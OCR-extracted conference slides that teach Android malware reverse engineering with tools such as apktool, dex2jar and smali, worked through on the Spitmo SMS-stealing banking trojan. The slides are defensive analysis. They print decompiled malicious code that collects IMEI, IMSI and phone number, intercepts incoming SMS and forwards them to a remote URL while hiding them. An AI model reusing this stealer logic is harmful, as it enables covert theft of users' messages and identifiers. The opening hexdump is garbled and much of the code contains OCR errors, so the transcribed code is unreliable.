00001460 8d eb 6b 46 bf ez 2b Og 13 £5 Se 93 85 9t 1f da ..+...%.....| 00001150 30 00 44 28 00 00 00 61 65 61 62 63 00 O1 1e 00
00001470 Sc c5 e8 1f 15 cc d2 86 78 13 07 le 4d £4 63 c7 ~...x...M.c.| 00DD1160 00 00 05 35 54 45 00 06 04 08 01 09 01 12 04 14
00001480 89 61 80 06 96 46 59 Od 33 4f ad Oc 1b aa Qe 85 |.a...FY.30.... 00001470 01 45 01 17 03 18 01 19 01 1a 02 00 2= 73 68 73
00001490 61 08 al 9e 99 Se d3 19 fc 81 be 54 55 d5 92 8d  |a.... .....T0. 00001180 74 72 74 61 62 00 Ze 69 6e 74 65 72 70 00 Z= 63
00001120 b 2f 24 c2 b3 26 0d 02 22 9a 8e aa 76 2e 1c 8f |./8,.&k.."...v. 00001190 61 73 68 00 2e 64 79 6e 73 79 6d 00 2e 64 79 6e
000014k 36 cf |...3.7.nT7W.Kv6.| 0000110 73 74 72 00 2e 72 65 6c 2Ze 70 6c 74 00 2e 74 65
000014c E..|G..U.c...Ew| 000011b0 78 74 00 2e 72 6f 64 61 74 61 00 Ze 70 72 65 69
000014c 000011c0 6e 69 74 5f 61 72 72 61 79 00 Ze 69 Be 69 74 57
000011e 000011d0 61 72 72 61 79 00 2e 66 69 6= 69 5f 61 72 72 61
000014y 000011e0 79 00 Ze 63 74 6f 72 73 00 2= 64 79 Ge 61 6d 69
00001200 000011£0 63 00 Ze 67 6f 74 00 Ze 627 73 73 00 Ze 63 6f 6d
00001210 00001200 6d 65 6e 74 00 Ze 41 52 4d Z= 61 74 74 72 69 62
00001220 00001210 75 74 65 73 00 00 00 00 00 00 00 00 00 00 00 00
* 00001220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00001240 B

00001250 00001240 Ob 00 00 00 01 00 00 00 02 00 00 00 d4 80 00 00
00001260 Q0001250 g4 00 00 00 43 g0 00 00 0@ 00 00 00 Og 00 00 00
00001270 o i 00 00O 00 00
00001260 neering lools
00001290 04 Mo B 00 00
00001220 00001237 49 00 00 00 Ob 00 0O 02 00 00 00 b4 81 00 00
00001260 000012gp b4 01 00 00 00 02 0O OO 04 00 00,00 O1 00 00 00
000012c0 000 0,03, 00 00 00
G000L2aD an st o$ooﬁ§§§p ectiyes =
0000120 ob~oo ol 00 00 00
000012£0 00001Ze0” 29 00 00 00 09 00 00 00 02 00 00 00 be 84 00 00
00001300 00001Zf0 bc 04 00 00 95 00 00 00 03 00 00 00 06 00 00 00
00001310 00001300 04 00 00 00 08 00 00 00 2d 00 00 00 O1 00 00 00
00001320 00001310 06 00 00 00 54 85 00 00 54 05 00 00 £8 00 00 00
00001330 00001320 00 00 00 00 00 00 00 00 04 00 00 00 04 00 GO0 00
00001340 00001330 32 00 00 00 01 00 00 00 06 00 00 00 50 86 00 00
00001350 00001340 50 06 00 00 e 0Z 00 00 00 00 00 00 00 00 00 00
00001360 00001350, 140 00 00 00 00 00 00 00 38 00 00 00 O1 00 00 00
00001370 ?ellk 00 00 00 38 83 00 00 38 09 00 00 =0 0Z 00 00
00001380 i 00 00 00 00 00 00 00 04 00 00 00 O1 00 00 00
00001390 00001380 40 00 00 00 10 00 00 00 03 00 00 00 00 90 00 00
00001320 00001390 00 10 00 00 08 00 00 00 00 00 00 00 00 00 00 00
00001360 00001320 01 00 00 00 00 00 00 00 4f 00 00 00 Os 00 00 00
0000130 00001360 03 00 00 00 05 90 00 00 08 10 00 0O 08 00 00 00
0000130 000013c0 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00
0000130 000013d0 Sb 00 00 00 OFf 00 00 00 03 00 00 00 40 90 00 00
000013£0 00004320 40 40 00 00 08 00 00 00 00 00 00 00 00 00 00 00
00001400 000013€0 01 00 00 00 00 00 00 00 67 00 00 0O O1 00 00 00
00001410 00004400 03 00 00 00 45 90 00 00 48 40 00 00 03 00 00 00
00001420 00011/ 00 O0j 00 040p400 00 01 00 00 00 00 00 00 00
00001430 oo% &qu 0 g@]gggo 00 03 00 00 00 20 90 GO 00
00001440 o1} 0 0 00 04 00 00 00 OO 00 OO0 00
00001450 00001440 04 00 00 00 08 00 00 0O 77 00 00 00 O1 00 00 00
00001460 0001450 03 00 00 00 e 90 00 00 e8 10 00 00 58 00 00 00
00001470 00001460 00 00 00 00 00 00 00 00 04 00 00 00 04 00 00 00
00001450 00001470 7c 00 00 00 03 00 00 0O 03 00 00 00 40 91 00 00
00001490 00001480 40 11 00 00 10 00 00 00 00 00 00,8000 .00 AN Ao
00001420 00001490 10 00 00 00 00 00 Q0 Q0 &1 00,

00001460 00001420 00 00 00 00 00 00 00 00 40 1

0000140 00001400 00 00 00 00 00 00 0O 00 01 ¢

0000140 000014c0  8a 00 00 00 03 00 00 70 00

00001420 000014d0 52 11 00 00 29 00 00 00 00,

000014£0 000014e0 01 00 00 00 00 00 00 00 O

00001500 000014f0 00 00 00 00 00 00 00 00 7h

00001510 00 00 00 00 00 00 00 00 01

NNNN1&70




Agenda

» Contents of an
APK: manifest,
.dex, resources...
» Tutorial: reversing
An-
droid /Spitmo.Cltr.spy
» A few other tricks:
logs,
anti-emulator...

Miscellaneous tools

v
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APK - Android Packa%es ﬂ

AndroidManifest.xml $ aapt dump xmltree ... AndroidManifest.xml
Binary XML

resources.arsc
Compiled resource
table ke Sl Nlalall-t-telalally’

4/_
res/
Resources
classes.dex
Dalvik bytecode

Resources

assets/

META-INF/




Example: APK contents of Android/Spitmo.Cltr.spy

$ unzip criptomovil.apk
Archive: criptomovil.apk
inflating: res/layout/main.xml
inflating: AndroidManifest.xml
extracting: resources.arsc
extracting: res/drawable-hdpi/icon.png

extracting: res/drawable-ldpi/icon.png
extracting: res/drawable-mdpi/icon.png
inflating: classes.dex
inflating: META-INF/MANIFEST.MF
inflating: META-INF/CERT.SF
inflating: META-INF/CERT.RSA
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Reading the AndroidManifest.xml

Binary manifest

$ hexdump -C AndroidManifest.xml | head

00000000 03 00 08 00 bO 1c 00 00 01 00 1c 00 8c 0d 00 00
00000010 3d 00 00 00 00 00 00 00O 00 00 00 00 10 01 00 0O
00000020 00 00 00 00 00 00 00 00O 1a 00 00 00 34 00 00 00

Better with aapt

$ aapt dump xmltree criptomovil.apk AndroidManifest.xml
N: android=http://schemas.android.com/apk/res/android
E: manifest (1ine=2)
A: android:versionCode(0x0101021b)=(type 0x10)0x1
A: android:versionName(0x0101021c)="1.0" (Raw: "1.0")
A: package="com.antivirus.kav" (Raw: "com.antivirus.kav")
E: uses-permission (line=8)
A: android:name(0x01010003)="android.permission.
BROADCAST_STICKY"
(Raw: "android.permission.BROADCAST_STICKY")
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Reading the AndroidManifest.xml (2)

$ java -jar AXMLPrinter2.jar AndroidManifest.binary.xml

<?xml version="1.0" encoding="utf-8"7>

<manifest
xmlns:android="http://schemas.android.com/apk/res/android",
android:versionCode="4"

Other Swiss Knives

» Androguard: collection of Python tools
$ ./androaxml.py -i criptomovil.apk -o
AndroidManifest.human.xml

» Apktool: re-engineering Android apps
$ java -jar apktool.jar d criptomovil.apk output
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http://code.google.com/p/android4me
http://code.google.com/p/androguard/
http://code.google.com/p/android-apktool/

Reading package resources

» Same as the manifest: they are not directly readable (for
humans...)

> aapt dump resources works, but output not excellent
» Use Apktool! Great tool :)

$ java -jar apktool.jar d criptomovil.apk output

$ cat output/res/layout/main.xml

<?xml version="1.0" encoding="UTF-8"7>

<LinearLayout android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
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Dalvik Executables (.dex)

. Dalvik

PR

ICELAND

» Similar to Java .class: .class converted to .dex by "dx"
More at:
http://en.wikipedia.org/wiki/Dalvik_(software)

» Opcodes: see http://pallergabor.uw.hu/androidblog/
dalvik_opcodes.html

> Parse with a hex editor. 010 Editor has a Dex template
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http://en.wikipedia.org/wiki/Dalvik_(software)
http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html
http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html

Dalvik bytecode - Android/Foncy. Altr

Startup

classes.dex @

10 00 00 04 00 00 00 GEMEN 00 00 00 00 OE 00
00 02 00 06 00 00 00 k4 10 00 00 SF 00 00 00
0z 6F 20 01 00 A9 0O 14 04 OB 00 12 1§ 71 30
00 49 05 0C 0B 6E 10 OE 00 08 00 14 04 68 0O
20 10 OD 49 00 OC 07 1F 07 08 00 6E 10 07 0O
00 0C 06 1 04 4F 00 6E 20 1C 00 46 00 Oi 04
04 1F OO 1k 01 07 00 14 03 34 00 71 00 0S 00
00 0C 00 07 24 07 25 74 06 06 00 00 00 07 24
25 74 06 06 00 00 00 07 24 07 25 74 06 06 0O
00 07 24 07 25 74 06 06 00 00 00 OE 00 1k 04

wirt debug_info_off 105Fh
® struck debug_info_item debug_info
: i

00 6E z0 1C 00 46 00 DL 04 38 04 07 00 14 O1 ok
00 14 03 0C 00 28 DB 14 D4 46 00 6E 20 1C 00 . ..(':Y..F.n
00 04 O4 38 04 07 00 14 O1 03 OO0 14 03 OD OO ¥. » » 1
CE 14 04 5D 00 €E 20 1C 00 46 00 OA 0% 33 04 1 . . o
Template Results - DEXTemplate. bt x|
Name Yalue Start Size Comment % |
uink source_file_idk (Dx2C) "MagicSMSActivity java®  494h h String ID for the name of the F
wink annotations_off of g8h 4h File offset to the annetation st |
uink class_data_off 1033h 49Ch 4h File offset to the class data for
= struct class_data_item class_data 0 static Fields, 0 instance fields, 1033h Eh Class data |
@ struct uleh1 78 static_fields_size 0x0 1033h 1h The number of static fields
3 struct uleb123 instance_fields_size: ox0 1034h 1h The number of instance fields
# struct uleb128 direck_methods_size ox1 1035h 1h The number of direct methods
# struct uleb128 virtual_methods_size Ox1 1036h 1h The number of virtual methods
& struct encoded_method_fist direct_methods |1 methods 1037h eh Encoded sequence of drect me
struct encoded_method method public constructor void com.magi... 1037h h Encoded method
struct uleb 128 method_idx_diff 0xF 1037h 1h Method ID For this method, rep
ubyte val Fh 1037h 1h uleb128 element
struct uleb123 accsss_flags (0x1000L) ACC_PUBLIC ACC_C.. 1036h 3h Access Flags
struct uleb128 code_off 0xSCE 03Bh Zh File offset to the code For this
struct code_item code 1registers, L in arguments, 1 ou... SCEh 18h Code structure For this methoc
ushort registers_size 1h 5cCeh zh Mumber of registers used by th
ushort ins_size 1h S h Mirohar of words of incoming =
ushort outs_size 1h 5 . - s of outgoing
ushartties sz oh Dalvik opcode; invoke-direct [emenes o

i debug inforn
ion For this met
list, in 16-bit

AT
Instruction

(4]

ushort insns|
it

 ushart insns[2] oh soch %h
ushort insns(3] Eh SDER 2h

Instruction
Ba: Instruction
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Dissassembling DEX: you (probably) don't want tofuse

dexdump

ools/dexdump -d classes.dex | grep -A 100 "Class descriptor ‘Leom/nl/H

yService; "
Class descripter : 'Lcom/nl/MyService;
Access flags 0x0001 (PUBLIC)
Superclass : 'Landroid/app/Service;"’
Interfaces
Static fields

(in Lcom/nl/MNyService;)
‘mShowlog"
1

: 0x001a (PRIVATE STATIC FIN

Instance fields
#0 : (in Lcom/nl/NyService;)
name ‘iceid®
type 'Ljava/lang/String;"’

S<init>: (v

02aldc: 7010 1700 0100 10000:

Landroid/app/Service; .<init>:(}V // method@0017

02ale2: 2200 3100 10003:

ndroid/es/Handler; // type@0031

02ale6: 7010 3c00 0000 10005:

Landroid/oes/Handler; .<init>:(}¥ // method@008c

02alec: 5b10 1306 10008:

Lcem/nl/HyService; .mHandler:Landroid/os/Handler; //

02a1f0: 2200 c500 1000a:

om/nl/NyService$l; 7/ type@00cS
— 0203305, 10

invoke-direct {vi},
new-instance v0, La
invoke-direct {v0},
iput-object v0, vi,

field@0619
new-instance v0, Lc

Ships with the
Android SDK, in
platform-tools/
Always works (7)
Output difficult to
read: all classes
together etc.
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Disassembling DEX

Fle Edit Options Buffers Tools Help

» Apktool: produces

> COde SyntaX il . ic E H null
highlight: :
» Emacs:
or
> Vim:

» Notepad++:

» UltraEdit:
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http://code.google.com/p/smali/
https://github.com/nelhage/reverse-android/blob/master/ddx.el
https://github.com/nelhage/reverse-android/blob/master/ddx.el
https://github.com/strazzere/Emacs-Smali
https://github.com/strazzere/Emacs-Smali
http://codetastrophe.com/smali.vim
http://codetastrophe.com/smali.vim
https://sites.google.com/site/lohanplus/files/smali_npp.xml
https://sites.google.com/site/lohanplus/files/smali.uew

Issues with disassembling
$ java -jar apktool.jar d fjcon.apk output

Exception in thread "main" brut.androlib.AndrolibException:
brut.directory.DirectoryException: java.util.zip.ZipException:
error in opening zip file
at brut.androlib.ApkDecoder.hasSources(Unknown Source)

produces .ddx files ~
Jasmin w/

Dalvik opcodes

$ mkdir ./dedexer
$ java -jar ddx1.18.jar -d ./dedexer/ ./classes.dex

$ cat ./dedexer/com/nl/MyService.ddx

.method public <init>()V
.limit registers 2
; this: vl (Lcom/nl/MyService;)

.line 74
invoke-direct  {v1},android/app/Service/<init> ; <init>()V



http://dedexer.sourceforge.net/
http://jasmin.sourceforge.net/about.html

The Decompiler

Command line - Decompiling Android/RootSmart.Altr
$./ded.sh suspect.apk -d ./ded-output -c

Soot finished on Fri Feb 10 14:05:46 CET 2012

Soot has run for O min. 2 sec.
./ded-output/optimized-decompiled/[..]/smart/y. java
Decompiled 144 classes out of 152

Retargeting time: 32.708s

Decompilation time: 945.141s

r8 = c.getResources().openRawResource(il);

try

€
r9 = new bytelr8.available()];
r8.read(rd9);
v12 = a.j().getBytes( ¥
r14 = KeyGenerator.getInstance( [l-o");
rl5 = SecureRandom.getInstance(
r15.setSeed(ri2};
rild.init( , rl5);
r18 = new SecretKeySpec(rld.generateKey().getEnceded(),
r21 = Cipher.getInstance( );
r2.init(”, r18);
e = new String{r21.doFinal(r9), I

3
catch (Exception $r25)
{

InsomniHac


http://siis.cse.psu.edu/ded/

» Dex2jar: Java-based tool converting .dex to .jar :)

$ ./dex2jar.sh criptomovil.apk
dex2jar version: reader-1.7, translator-0.0.9.6, ir-1.4

dex2jar criptomovil.apk -> criptomovil_dex2jar. jar
Done.

» View the Jar with a Java Decompiler (jd-gui, jad, dj...)

» "Java Decompiler" Pros: GUI, save source files, browse Jar,
jump from one class to another

» Cons: not specifically meant for Dalvik, a few bugs (but not
many)
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http://code.google.com/p/dex2jar/
http://java.decompiler.free.fr/

Decompiled Java source code - at a glance

file Edit Navigate Search Help
BIeFC >
criptomovil_dex2jar.jar -
© B comantviusik - -
b ) Kevsence =
b [3) MainActivity ¥
b W N
public static String GetStaticDatastring(Context paranContext)
- 0 {
¥ @ SmsReceiver Object B p: ext “phone*)
45 AppContext Object localObjectl = (@ lepivi) —'“nnlub]u(z) qe(L)nelNu-ber(). .
S restschedule| | String strd = ((TelephonyhonagerslocalObect g Ta0; Bad class:
n o8 SettingHides String str2 = ((TelephonyManager)localobject2). gemenceld() H H
4 e String strs Magptyt: localObject2 is a
g o hrecetmeque| | I (5112 1= nll) TelephonyManager,
o @5 GetBoolvalue o
g y str3 - Integer. tostriy(2 * Tnteg j " Y,
2  GetReaquest( s o Dummy
: @5 GetStaticDat,
g o Unkantwarust | | else variable
E @5 SaveBoolval {
b o onkeceive(Ce strz = “enpty®s names
' }
L i (localobjects 1= mill
2! \m:z\ub]ec(Z - ((wmgnucalun]ecm replace (" ;
[ Classes, se
& . \m:z\ub]ec(Z = "empty";
[ fields, it natl)
Q
A and
> )f (GetEonIValue(psmm(:nnlex( “AntivirusEnabled"))
l methods / i B
lncalﬂb]e(l] = new Object(s];
o] =
Tlocalobjectl(1] = strl
localObjectl (2] = strz.
TlocalObjectl (3] 1
localObjectl(4] = Integer.valuedf(i);
return (String) (String)St format (7 *. localObjectl);
public static String Linkantivirus()
H
1| J

Figure: Android/Spitmo.Cltr.spy
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Tutorial with Android /Spitmo.Cltr.spy

Step 1. Read the manifest

» ldentify the entry points.

» Several permissions.

<uses—-permission

</uses-permission>

<uses—-permission
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Tutorial with Android /Spitmo.Cltr.spy

Step 1. Read the manifest

» ldentify the entry points.

» Several permissions.

» A service

<{service

</service>
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Tutorial with Android /Spitmo.Cltr.spy

Step 1. Read the manifest

Identify the entry points.

v

v

Several permissions.

» A service

v

SMS Receiver with high priority

<intent-filter

<action

</action>

<action

</action>

<action

</action>
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Tutorial with Android /Spitmo.Cltr.spy

Step 1. Read the manifest

Identify the entry points.

v

v

Several permissions.
> A service

» SMS Receiver with high priority

» Main

{activity android label=

<intent-filter>

<action

<faction>

{category
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Reversing MainActivity

» onCreate() called when application is launched.

public class MainActivity extends Activity
{
public void onCreate(Bundle paramBundle)

super.onCreate (paranBundle);

Object localObject = Integer.toString(2 * Integer.parseInt (((TelephonyManager)getSystemService ("phone")).getDeviceId().substring(8))]
String str = "1" + (String)localObject + "3";

localObject = new AlertDialog.Builder(this) create():

((AlertDialog)localObject) . setCancelable(false);

((alertpialog)localObject) .setMessage ("\tSu cédigo de activacidn: \nimvtytyt* + str+ "wn'):
((AlertDialog)localObject) . setButton("OK", new DialogInterface.OnClickListener()

{

public void onClick(DialogInterface parambialogInterface, int paramInt)

paramDialogInterface.dismiss();
System.exit(0);

((AlertD1alng)lm:ath]ect) show():
1
i
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Reversing MainActivity

» onCreate() called when application is launched.
» Get 8th character of IMEI.

public class MainActivity extends Activity
{
public void onCreate(Bundle paramBundle)

super.onCreate (paranBundle);
Object localObject = Integer.toString(2 * Integer.parseInt (((TelephonyManager)getSystemService ("phone")).getDeviceId().substring(8))]
String str = "1" + (String)localObject + "3";
localObject = new AlertDialog.Builder(this) create():
((AlertDialog)localObject) . setCancelable(false);
((alertpialog)localObject) .setMessage ("\tSu cédigo de activacidn: \nimvtytyt* + str+ "wn'):
((AlertDialog)localObject) . setButton("OK", new DialogInterface.OnClickListener()
{
public void onClick(DialogInterface parambialogInterface, int paramInt)
{

paramDialogInterface.dismiss();
System.exit(0);

((AlertD1alng)lm:ath]ect) show():
1
i
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Reversing MainActivity

» onCreate() called when application is launched.
» Get 8th character of IMEI.
» Display alert dialog with activation code "1"+8th char+"3"

public class MainActivity extends Activity
{
public void onCreate(Bundle paramBundle)

super.onCreate (paranBundle);
Object localObject = Integer.toString(2 * Integer.parseInt (((TelephonyManager)getSystemService ("phone")).getDeviceId().substring(8))]
String str = "1" + (String)localObject + "3";
localObject = new AlertDialog.Builder(this) create():
((AlertDialog)localObject) . setCancelable(false);
((alertpialog)localObject) .setMessage ("\tSu cédigo de activacidn: \nimvtytyt* + str+ "wn'):
((AlertDialog)localObject) . setButton("OK", new DialogInterface.OnClickListener()
{
public void onClick(DialogInterface parambialogInterface, int paramInt)
{

paramDialogInterface.dismiss();
System.exit(0);

((AlertD1alng)lm:ath]ect) show():
1
i
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Reversing MainActivity

» onCreate() called when application is launched.

» Get 8th character of IMEI.

» Display alert dialog with activation code "1"+8th char+"3"
» Exit dialog when button pressed

public class MainActivity extends Activity
{
public void onCreate(Bundle paramBundle)

super.onCreate (paranBundle);

Object localObject = Integer.toString(2 * Integer.parseInt (((TelephonyManager)getSystemService ("phone")).getDeviceId().substring(8))]
String str = "1" + (String)localObject + "3";

localObject = new AlertDialog.Builder(this) create():

((AlertDialog)localObject) . setCancelable(false);

((alertpialog)localObject) .setMessage ("\tSu cédigo de activacidn: \nimvtytyt* + str+ "wn'):
((AlertDialog)localObject) . setButton("OK", new DialogInterface.OnClickListener()

{

public void onClick(DialogInterface parambialogInterface, int paramInt)
paramDialogInterface.dismiss();

System.exit(0);

((AlertDialog)localObject) .show():
1
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Reversing KavService

How to start a service

» startService() — onCreate() — onStartCommand() (or
onStart() for old SDKs)

» bindService() — onCreate()
$ grep -ri startService ./smali
$ grep -ri bindService ./smali

Not used (yet)?
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Reversing SmsReceiver with Java Decompiler

public void GnReceiVe (Context paramContext, Intent paranIntent)
{

fare e e o e 1o 13 0

if ((1paranIntent.getAction().equals(*android.intent action. NEN_OUTGOING_CALL")) && (!parafTntent.getAction (). equals (*android. intent.action BOOT_COMF

boolean bool = GetBoolValue(paranContext, "AntivirusEnabled");

Bundle localBundle = paranIntent.getExtras();
((SnsMessagel] Inull);
Object localObject = GetStatichataString(paranContext);
="
if (localBundle != null)
£
JeCtI] arrayoronjec JECTI1) [oca (UG e, get (TPaus 15
gel] arrayOf: = new [arrayOfobject. length] ;
int k;
for (int 1 = 0; i < arrayofsnsiessage.length: i++)
{
arr il - .createfronPdu( (byte(1)arrayofobject [i1);
String str2 = arrayOfSmsMessagel1] .getMessageBody (). toString();
String strl = arrayofSnsiessagelil.getoriginatingAddress();
T B T TOC S (S LT ENT T =TT ST T R COeT S T Ty VT Oe0 T T TOCe O Tee T 7T
Tocalobject (0] = URLEncoder. encade (strl);
Tocalobject [1] = URLEncoder. encode (str2);
Tocalobject = String. formst (" &fron—isitext=ts", localObject);
L
i
if (k1= 0)
GetRequest ((String)localobject);
if (bool)
abortBroadcast ():

}
¥

else

Firstschedul eInstalled = true;
KavService,Schedule (paranContext, 30);

¥

1
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Reversing SmsReceiver with Java Decompiler

public void onReceive(Context paramContext, Intent paramIntent)
{
AppContext = paramContext:
if ((!paramIntent.getAction().equals{"android.intent. action, NEW OUTGOING CALL"))
& (!paramIntent.getAction().equals("android.intent.action. BOOT_COMPLETED")))
{
boolean bool = GetBoolValue(paramContext, "AntivirusEnabled"):
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Reversinﬁ SmsReceiver with Java Decompiler m

public static boolean _lCnntext paramContext, String paramString)
{
boolean bool = false;
if (paramContext != null)
bool = paramContext.getSharedPreferences ("kav", 0).getBoolean(paranString, false):
return bool:

1




Reversing SmsReceiver with Java Decompiler

boolean bool = GetBoolValue(paramContext, "AntivirusEnabled");
if (bool)
{

Bundle localBundle = paramIntent.getExtras();

((SmsMessage[] Jnull);

Object localObject = GetStatichataString(paramContext);

int j = 0;
if (localBundle !'= null)
{
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Reversing SmsReceiver with Java Decompiler

if (iocalBundle = null)

{
Object[] arrayofobject = (Object[])localBundle.get("pdus"):
SmsMessage[] arrayOfSmsM ge = new SmsM gelarrayOfobject.length];
int k;
for (int 1 = 0; i < arrayOfSmsMessage.length; i++)
{

array0fsmsM geli] = SmsM ge.createFromPdu((byte[])arrayofobject[i]);
String str2 = arrayOfSnsMessage[i] .getMessageBody (). toString();
String strl = arrayOfSnsMessagelil.getOriginatingAddress():
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Reversing SmsReceiver with Java Decompiler

STriNg STrd = arrayuTsmsMessagelll . geTMessagesoay (). ToSTringL);

String strl = arrayOfSmsMessage[il.getOriginatingAddress();

StringBuilder localStringBuilder = new StringBuilder(String.valuedf(localObject));
localObject = new Object[2];

localObject[0] = URLEncoder.encode(strl):

localObject[l] = URLEncoder.encode(str2);

localObject = String. format ("&from=%s&text=%s", localObject);

k =1;
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Reversing SmsReceiver with Java Decompiler

LOCALUD]eCT(L] = URLENCOOEr.encogeistrs);
localObject = String. format ("&from=%s&text=%s", localObject);
k =1;
i
if (k 1=0)
GetReguest ((String)localObject);
if (bool)
abortBroadcast();
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Reversing SmsReceiver

Things we know

>

>

>

onReceive processes incoming SMS messages
AntivirusEnabled is a flag, if not enabled, won’t do much.
Calls GetStaticDataString

Retrieves SMS body and originating phone number
Formats a string: &from=0RIGIN&text=BODY

Calls GetRequest

AntivirusEnabled true: don't forward SMS to others

v

What does GetStaticDataString() do?
The result of GetStaticDataString() is overwritten...?
What is variable k?

What does GetRequest() do?

F::RTINET.
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GetStaticDataString

public static String GetStaticDataString(Context paramContext)
1

Object localObject? = (TelephonyManager)paramContext.getSystemService ("phone”);
Object localObjectl = ((TelephonyManager)localObject2).getLinelNumber ();
String =strl = [(TelephonyManager)localObject2) . getSubseriberId();
String str2 ((TelephonyManager) localObject2) .getDeviceId();
String str3 = "empty";
if (gtr2 != null)
i
= Integer.toString(2 * Integer.parseInt(((TelephonyManager)localObject2).gete

() .substring(8)));

"1" + str3 + "3";

str2 = "empty";

¥
if (localobjectl != null)
localObject2 = ((2tring)localObjectl).replace("+", "");
elze
localObject2 = "empty";
if (=trl == null)
strl =
int i = 0;
if (GetBoolValue (paramContext, "AntivirusEnabled”))
i=1;
localObjectl = new Object[5];
localObjectl[0] = localObject2;
localObjectl[1] strl;
localObjectl[2] str2;
localObjectl[3] str3;
localobjectl[4] = Integer.valueOf(i);
return (String) (String)String.format("?to=%s8i=%sim=%s8aid=%ssh=%s", localObjectl);
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GetStaticDataString

publi,

= 1 + 8th char IMEI + 3

localObject2 =

remove + in
phone number

to = phone number
without +
i = IMSI
m = IMEI
aid = 1 + 8thchar + 3
h = boolean AntivirusEnabled
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Reversing SmsReceiver

Things we know

> onReceive processes incoming SMS messages

» AntivirusEnabled is a flag, if not enabled, won't do much.
» Calls GetStaticDataString: 7to=PHONE&i=IMSI&m=IMEI. ..
> Retrieves SMS body and originating phone number

» Formats a string: &from=0RIGIN&text=BODY

» Calls GetRequest

» AntivirusEnabled true: don't forward SMS to others

The result of GetStaticDataString() is overwritten...?
» What is variable k?

» What does GetRequest() do?
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A look into Smali

i virtual methods
.method public onReceive (Landroid/content/Context;Landroid/content/Intent;)V
.locals 14
.parameter "context"”
.parameter "intent"”
.prologue
-line 217
sput-obiject pl, Leom/antivirus/kav/SmsReceiver;->AppContext:Landroid/content/Contex

iéigieggirtual/range {p2 .. p2}, Landroid/content/Intent;->getAction()Liava/lang/sSt
move-result-cbject v9

const-gtring v10, "android.intent.action.NEW_OUTGOING_CALL"

invoke-virtual {v9, v10}, Ljava/lang/string;-»equals(Ljava/lang/Object;)Z
move-result v9

if-nez v%, :cond_0

inveke-virtual/range {p2 .. p2}, landroid/content/Intent;-»getAction()Ljava/lang/St

move-result-object v9
congt-gtring v10, "android.intent.action.BOOT_COMPLETED"

inveke-virtual {v9, v10}, Ljava/lang/8tring;-»equals(Ljava/lang/0Object;)Z
move-result v9

if-eqz v9, :cond 2
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A look into Smali

if ( intent.getAction().equals(
"NEW_OUTGOING...")) {
cond_O;

}

if (! intent.getAction().equals(
"BOOT _COMPLETED") {
cond_2;

}
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A look into Smali
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A look into Smali

cond_O:
FirstSchedulelnstalled = true;
KavService->Schedule(0Ox1e);

TotalHideSms =
GetBoolValue("AntivirusEnabled");
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A look into Smali

tring(
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A look into Smali

tring(
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Findings with Smali

>

Bad decompilation of first initial test:

// WRONG
if (! intent.getAction().equals("OUTGOING_CALL") &&
! intent.getAction() .equals("BOOT_COMPLETED")) {

}
// CORRECT
if (intent.getAction().equals("OUTGOING_CALL") {

} else if (! intent.getAction().equals("BOOT_COMPLETED")) {
}

Missing variable names: TotalHideSms (AntivirusEnabled flag)
and SendReport (k)

Wrong decompilation of string composition: GetString
initialized to GetStaticDataString() and then append
&from=0RIGIN&text=BODY

F::RTINET.
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Reversing SmsReceiver

Things we know

» If OUTGOING _CALL, schedule KavService

» Build string, initialize it to: ?7t0=PHONE&i=IMSI&m=IMEI. ..
» Retrieves SMS body and originating phone number

» Append &from=0RIGIN&text=BODY to string

» Calls GetRequest if SendReport true

» AntivirusEnabled true: don't forward SMS to others

» What does GetRequest() do?
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GetRequest: Decompilation failure

blic static int GetRequest(String paramString)

code:
1 new 63 java/lang/StringBuilder
i dup
: invokestatic 67 com/antivirus/kav/SmsReceiver:Linkantivirus  ()Ljava/lang/String:;
: invokestatic 73java/lang/String:valueof (Ljava/lang/Cbject:)Ljava/lang/String:
:+ lnvokespecial 74 java/lang/StringBuilder:<init= (Ljava/lang/String:)V
: aload_0
i invokevirtual 78 java/lang/StringBuilder:append (Ljavaslang/String;)Ljava/lang/StringBuilder:
: invokevirtual 81 java/lang/StringBuilder:toString (Ljava/lang/String:
: astore_2
+ aconst_null
: astore_l
1 new 83 java/net/URL
 dup
: aload 2
+ invokespecial 84  java/net/URL:<init> (Ljava/lang/String; )V
+ astore_l
+ aload_1
i astore_1
: aload 1
: invokevirtual 88  javas/net/URL:openConnection (JLjava/net/URLConnection;
+ astore_1
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Solution? Use another tool!

» Use another decompiler (e.g Jad)

» Or read smali

nnection httpurleconnection;

((URL) (0b3))

With("truef);
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Solution? Use another tool!

lic static int GetRequest(String =)

Object obi;

String =l;
sl = (new StringBuilder (String.valueCf(Link&ntivirus()])).append(s).toString();
obj = null;
obj = new URL(&l);
obj = obj;
1

int 1;

HttpURLConnection httpurlcennection;

try

obj = ([URL) (obj)).openConnection();

catch(I0Exception _ex)

i =-3;
break labes10;

catch(HullPointerEBxception _ex)

i =-5;
break label0O;
I
httpurleconnection = (HttpURLConnection)obj;
try
i = httpurlconnection.getRespongeCode ()
if(i == 200)

{

boolean flag = httpurlconnection.getHeaderField("ForgetMeszages") . gtarteW
SaveBoolValue (AppContext, "AntivirusEnabled", flag);
InsomniHack’12 - A. Apvrille 2




Solution? Use another tool!

httpurleonnection = (HttpURLConnection)obij;
try
1
i = httpurlconnection.getResponseCode();
if{i == 200)

boolean flag = httpurleonnection.getHeaderField("ForgetMeszages") . starteWith("true
SaveBoolValue (AppContext, "AntiviruszEnabled", flag);

i
I
catch (I0Exception _ex)
1
i = -4;
¥
i=1;
turn i;

™ INSTE pop ;
goto _L1




GetRequest decompilation

v

LinkAntivirus(): obfuscated string

ing [ENSUENCETT i

return "h=- - t-

v

URL = de-obfuscated string + parameter
Open URL
Read HTTP response

» If HTTP response is ok (200), read header ForgetMessages:
store in AntivirusEnabled flag

v

v
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Spitmo: conclusion

» Displays a fake 3-digit activation code. 2nd digit is based on
IMEI

» KavService not used. Missing start command?

» SMS forwarded to a remote URL:

http://CENSORED?t0=PHONE&i=IMSI&m=IMEI -
%2id=ACTIVATIONCODE&h=BOOLEAN&from=0RIGIN&text=BODY|

Read smali when decompilation fails I
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Understanding access$0

.method static synthetic access$0(Lcom/tapjoy/TICOffersWebView;)
Landroid/widget/ProgressBar;
.locals 1
.parameter

.prologue
.line 28
iget-object vO, pO, Lcom/tapjoy/TJCOffersWebView;->progressBar:Land

return-object v0
.end method

Compiler created

» Java: Inner classes can access private members of their
